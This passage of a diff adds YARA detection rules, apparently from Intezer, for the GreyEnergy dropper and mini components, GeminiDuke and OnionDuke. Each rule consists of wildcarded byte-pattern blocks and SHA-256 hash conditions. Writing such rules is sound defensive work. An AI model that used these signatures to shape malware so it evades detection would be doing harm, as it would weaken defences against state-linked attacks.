+		$block_4 = { A2 ?? ?? ?? ?? 6D A6 9C 85 ?? ?? ?? ?? ?? B6 ?? 35 ?? ?? ?? ?? 88 ?? F7 ?? DB ?? 12 ?? ?? F9 }
+		$block_5 = { 8D ?? ?? 5? 6A ?? FF 7? ?? 5? FF 5? ?? 0F B7 ?? ?? 8D ?? ?? ?? 33 ?? 33 ?? 66 ?? ?? ?? 73 }
+		$block_6 = { 29 ?? ?? ?? ?? ?? 4? 66 ?? ?? ?? ?? ?? 9D 09 ?? ?? ?? ?? ?? 87 ?? ?? ?? ?? ?? 1F 5? FC EB }
+		$block_7 = { 5? AF 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? A0 ?? ?? ?? ?? D7 7F }
+		$block_8 = { 03 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? FF 4? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_9 = { AD 87 ?? ?? 24 ?? E0 ?? B4 ?? 4? FE ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 5? 2E ?? ?? 2D }
+		$block_10 = { F5 20 ?? 00 ?? ?? ?? ?? ?? 28 ?? 67 ?? ?? 00 ?? ?? ?? ?? ?? 13 ?? 6C 60 77 }
+		$block_11 = { FB 4? B0 ?? 89 ?? F7 ?? BF ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 9A ?? ?? ?? ?? ?? ?? 85 ?? CE A2 ?? ?? ?? ?? 62 ?? ?? ?? ?? ?? ?? 4? 7A }
+		$block_13 = { AB BD ?? ?? ?? ?? 00 ?? ?? E8 ?? ?? ?? ?? 4? 08 ?? ?? ?? ?? ?? 0F 85 }
+		$block_14 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 39 ?? 0F 84 }
+		$block_15 = { 8A ?? ?? 88 ?? ?? ?? ?? ?? 8A ?? ?? 88 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_16 = { 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_17 = { 4? 87 ?? ?? ?? ?? ?? B5 ?? 4? F9 E5 ?? 1A ?? ?? E6 ?? 9E E3 }
+		$block_18 = { 8B ?? ?? 0F B7 ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 01 ?? ?? 8B }
+		$block_19 = { 11 ?? ?? ?? ?? ?? 00 ?? ?? ?? B3 ?? ED A2 ?? ?? ?? ?? AF 4? }
+		$block_20 = { 6A ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? 0F 84 }
+		$block_21 = { 0F B7 ?? 89 ?? ?? FF 7? ?? FF 7? ?? FF 5? ?? 89 ?? ?? EB }
+		$block_22 = { C7 ?? ?? ?? ?? ?? ?? 88 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_24 = { 9D 9? 4? 37 9B 0A ?? ?? DD ?? ?? 4? 32 ?? ?? 31 ?? 3E }
+		$block_25 = { 0F B7 ?? ?? ?? 81 E? ?? ?? ?? ?? 03 ?? 01 ?? ?? 8B }
+		$block_26 = { 27 E7 ?? D0 ?? ?? ?? ?? ?? 86 ?? ?? ?? ?? ?? ?? B0 }
+		$block_27 = { C0 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 5? 4? A7 7E }
+		$block_28 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_29 = { C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_30 = { 8A ?? ?? ?? ?? ?? 2B ?? 88 ?? ?? 39 ?? ?? 0F 86 }
+		$block_31 = { C1 ?? ?? F8 A7 A2 ?? ?? ?? ?? B9 ?? ?? ?? ?? E3 }
+		$block_32 = { F1 6D 2F 4? D2 ?? ?? ?? ?? ?? 24 ?? AE 10 ?? 71 }
+		$block_33 = { 14 ?? 4? 9B C5 ?? ?? 0C ?? 9? E8 ?? ?? ?? ?? 76 }
+
+	condition:
+		hash.sha256(0, filesize) == "d4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a" or
+		hash.sha256(0, filesize) == "7e154d5be14560b8b2c16969effdb8417559758711b05615513d1c84e56be076" or
+		hash.sha256(0, filesize) == "dcade5e14c26c19e935b13d5170d74f99e75d3e4dba443db1dab8bea78745584" or
+		hash.sha256(0, filesize) == "b60c0c04badc8c5defab653c581d57505b3455817b57ee70af74311fa0b65e22" or
+		hash.sha256(0, filesize) == "c2d06ad0211c24f36978fe34d25b0018ffc0f22b0c74fd1f915c608bf2cfad15" or
+		12 of them
+}
+
+rule GreyEnergyDropperUnpacked {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 8C }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 66 ?? ?? ?? EB }
+		$block_2 = { C7 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 33 ?? BE ?? ?? ?? ?? F7 ?? 0F BE ?? ?? ?? 3B ?? 74 }
+		$block_4 = { 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 03 ?? ?? 0F BE ?? 8B ?? ?? 33 ?? BE ?? ?? ?? ?? F7 ?? 0F BE ?? ?? ?? 3B ?? 74 }
+		$block_6 = { 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_7 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 33 ?? 83 ?? ?? ?? 0F 9D ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_11 = { 8B ?? ?? 5? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_12 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_15 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "9e64b19434beee9fad059926a968e64bf31417914f638cd220894a3b6a4780f7" or
+		hash.sha256(0, filesize) == "d13191de5cca61574e041d4ef2ee83ba618e4bc324fc93ff850c6922370fa651" or
+		12 of them
+}
+
+rule GreyEnergyMiniUnpacked {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 5? 8D ?? ?? 5? 5? 5? 5? 5? 5? 5? 5? 5? FF 7? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_1 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 3? 89 ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 8B ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 33 ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_3 = { FF 7? ?? FF D? 8B ?? ?? 03 ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 5? 5? FF 7? ?? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? 5? FF 7? ?? FF 7? ?? FF D? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_7 = { FF 7? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_8 = { FF 3? FF 1? ?? ?? ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_9 = { 83 ?? ?? ?? 83 ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 2B ?? D1 ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_11 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 3? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { FF 7? ?? 8D ?? ?? ?? ?? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? 5? FF 7? ?? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_16 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? ?? 03 ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_18 = { 0F B7 ?? 8B ?? 83 ?? ?? 8A ?? ?? ?? 0F BE ?? 3B ?? 74 }
+		$block_19 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 86 }
+		$block_21 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_23 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "b0959c8df85147fd7dc13c83082d2a9d8e464c7e846083d4a9850fa254482106" or
+		hash.sha256(0, filesize) == "6fe6aa31c6010febead115f96afd8fae7e086e2cd11032d424388bbaf3ab40fd" or
+		12 of them
+}
+
+rule GeminiDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 83 ?? ?? ?? 5? 5? 5? 0F B6 ?? 0F B6 ?? EB }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 81 F? ?? ?? ?? ?? 74 }
+		$block_2 = { 8B ?? ?? 03 ?? ?? 8B ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 8B ?? ?? 03 ?? ?? 8B ?? ?? 88 ?? ?? E9 }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? FF D? 84 ?? 0F 85 }
+		$block_4 = { 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 83 ?? ?? 5? 5? 8B ?? ?? ?? 5? 5? 33 ?? 0F B6 ?? 0F B6 ?? EB }
+		$block_5 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 8B ?? FF D? 85 ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? FF 7? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_8 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 3B ?? 7E }
+		$block_10 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 3B ?? 7D }
+		$block_11 = { 0F BE ?? ?? 8B ?? ?? 8A ?? ?? ?? 88 ?? 8A ?? ?? 2C ?? 88 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_12 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 5? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? 88 }
+		$block_14 = { 8D ?? ?? ?? 6A ?? 5? 8B ?? 5? E8 ?? ?? ?? ?? 0F BE ?? 0C ?? 83 ?? ?? 88 ?? ?? ?? 80 C? ?? EB }
+		$block_15 = { 8B ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 5? FF D? 88 ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_16 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_17 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 2B ?? 0F B6 ?? ?? 2B ?? 8B ?? ?? 03 ?? ?? 88 ?? C6 }
+		$block_18 = { 5? 5? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_19 = { 8B ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 5? FF D? 88 ?? ?? 83 ?? ?? 3B ?? 7C }
+		$block_20 = { 88 ?? ?? ?? ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? ?? 32 ?? ?? ?? 5? 88 ?? ?? ?? ?? ?? 5? C2 }
+		$block_21 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 9? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 74 }
+		$block_22 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$block_23 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_24 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_25 = { 8B ?? 8B ?? ?? 0F B6 ?? ?? ?? 8D ?? ?? 8B ?? 5? FF 5? ?? 88 ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_26 = { 5? 6A ?? 6A ?? 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_27 = { 6A ?? 6A ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 8B ?? ?? 2B ?? 66 ?? ?? ?? ?? ?? 66 ?? 0F B7 ?? 89 ?? ?? 8D ?? ?? 83 ?? ?? 0F 8C }
+		$block_29 = { 8B ?? 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? 8B ?? 5? FF 5? ?? 88 ?? ?? 4? 3B ?? ?? ?? 7C }
+		$block_30 = { 8D ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 0F BE ?? 0C ?? 83 ?? ?? 88 ?? ?? ?? FE ?? EB }
+		$block_31 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 2B ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 3B ?? 7C }
+		$block_32 = { 8B ?? ?? ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_33 = { 88 ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_34 = { 8A ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_37 = { 8B ?? ?? ?? 8A ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_38 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 32 ?? 38 ?? 5? C6 ?? ?? ?? 8B ?? 88 ?? ?? 0F 84 }
+		$block_39 = { 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 01 ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_40 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? ?? ?? ?? ?? 32 ?? ?? ?? 88 ?? ?? ?? ?? ?? 5? C2 }
+		$block_41 = { 0F B6 ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_42 = { 5? 8B ?? 5? 89 ?? ?? 8B ?? ?? 0F B6 ?? ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_43 = { 8B ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? 5? 0F 95 ?? 83 ?? ?? C3 }
+		$block_44 = { 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_45 = { 0F B7 ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 80 7? ?? ?? ?? 8B ?? 74 }
+		$block_46 = { 8B ?? ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_47 = { 8B ?? ?? 0F B7 ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 38 ?? ?? 74 }
+		$block_48 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? ?? ?? 0F 83 }
+		$block_49 = { 8B ?? ?? 03 ?? ?? 2B ?? ?? 66 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 85 ?? 75 }
+		$block_50 = { 8B ?? ?? 8B ?? ?? 0F AF ?? 8B ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 }
+		$block_51 = { 5? 8B ?? ?? ?? 32 ?? 38 ?? 5? C6 ?? ?? ?? ?? 8B ?? 88 ?? ?? ?? 0F 84 }
+		$block_52 = { 33 ?? 6A ?? 5? F7 ?? 0F BE ?? 80 C? ?? FE ?? 85 ?? 88 ?? ?? ?? 75 }
+		$block_53 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 2B ?? 0F B6 ?? ?? 3B ?? 7C }
+		$block_54 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 85 ?? 0F 84 }
+		$block_55 = { 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_56 = { 0F B6 ?? 8A ?? ?? 88 ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_57 = { 5? 8B ?? 5? 5? 33 ?? 33 ?? 39 ?? ?? 5? 8B ?? ?? 89 ?? ?? 0F 8E }
+		$block_58 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_59 = { 5? 8B ?? 5? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_60 = { 0F B7 ?? ?? 0F B7 ?? ?? 99 F7 ?? 88 ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_61 = { 8B ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_62 = { 5? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_63 = { 8A ?? ?? 5? 5? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 5? C9 C2 }
+		$block_64 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 8B ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 }
+		$block_65 = { 0F BE ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_66 = { 5? 8B ?? 5? 5? 33 ?? 39 ?? ?? 5? 5? 8B ?? 89 ?? ?? 0F 84 }
+		$block_67 = { 8A ?? ?? 84 ?? 8B ?? ?? 0F BE ?? 8D ?? ?? ?? C6 ?? ?? 75 }
+		$block_68 = { 6A ?? 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 5? 8B ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 79 }
+		$block_70 = { 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_71 = { 0F B6 ?? ?? 0F B6 ?? ?? 33 ?? 3B ?? 0F 9F ?? 8A ?? E9 }
+		$block_72 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 75 }
+		$block_73 = { 8B ?? ?? 8B ?? ?? 0F AF ?? 8B ?? ?? 5? 8D ?? ?? ?? E8 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_75 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? 85 ?? 75 }
+		$block_76 = { 8A ?? ?? ?? 84 ?? 0F BE ?? 8D ?? ?? ?? C6 ?? ?? 75 }
+		$block_77 = { 0F B6 ?? ?? ?? ?? ?? 4? 25 ?? ?? ?? ?? 5? 5? 79 }
+		$block_78 = { 0F B6 ?? ?? 0F B6 ?? ?? 33 ?? 3B ?? 0F 9F ?? E9 }
+		$block_79 = { 0F B6 ?? ?? 0F B6 ?? 2B ?? 0F B6 ?? ?? 3B ?? 7C }
+		$block_80 = { 0F B7 ?? ?? 0F B7 ?? 99 F7 ?? 84 ?? 88 ?? ?? 74 }
+		$block_81 = { 8B ?? ?? C1 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_82 = { 8B ?? ?? 03 ?? ?? 0F B6 ?? 0F B6 ?? ?? 3B ?? 7C }
+		$block_83 = { 0F BE ?? ?? C6 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_84 = { 5? 5? 33 ?? 33 ?? 39 ?? ?? ?? 89 ?? ?? ?? 0F 8E }
+		$block_85 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 8C }
+
+	condition:
+		hash.sha256(0, filesize) == "1323e3d7656a427733663f03b3037326ffa9c57c68fa8e014a5bf7cb1455359a" or
+		hash.sha256(0, filesize) == "ce2c4dd21b99407bfa7066a6a57d180c00527e7db8ee52558c597550ac8b5d7c" or
+		hash.sha256(0, filesize) == "7b9e542426408aa384d0394820f82f330e615a1ad17a777d04720458b33b08a3" or
+		hash.sha256(0, filesize) == "bc54acf4e60688ea668ef40ef965f2bad41dcf260ddae26d28b5551461c4b402" or
+		hash.sha256(0, filesize) == "a8b01a219a9fe565aadf82bc28b60048c60b640e780386c7a84a425049df5af9" or
+		12 of them
+}
+
+rule OnionDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? 8B ?? FF D? 8B ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { A1 ?? ?? ?? ?? 0F B7 ?? ?? 8A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? C6 ?? ?? ?? 85 ?? 74 }
+		$block_2 = { 89 ?? ?? 89 ?? 8B ?? ?? 89 ?? ?? C6 ?? ?? ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 33 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 8B ?? 83 ?? ?? 0F 8D }
+		$block_4 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 5? 8B ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 8D ?? ?? 89 ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 8B ?? ?? 8B ?? 89 ?? ?? C6 ?? ?? ?? 3B ?? 0F 8C }
+		$block_6 = { 0F B7 ?? ?? ?? 8D ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 8B ?? 6A ?? 8B ?? 75 }
+		$block_7 = { 8B ?? ?? 8B ?? 8B ?? ?? 8B ?? FF D? 8B ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? FF D? 3B ?? ?? ?? 0F 83 }
+		$block_8 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? 0F 94 ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_9 = { FF D? 8B ?? 8B ?? 6A ?? 8B ?? FF D? 33 ?? 6A ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_10 = { 8B ?? ?? 83 ?? ?? ?? 8B ?? ?? 4? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 85 }
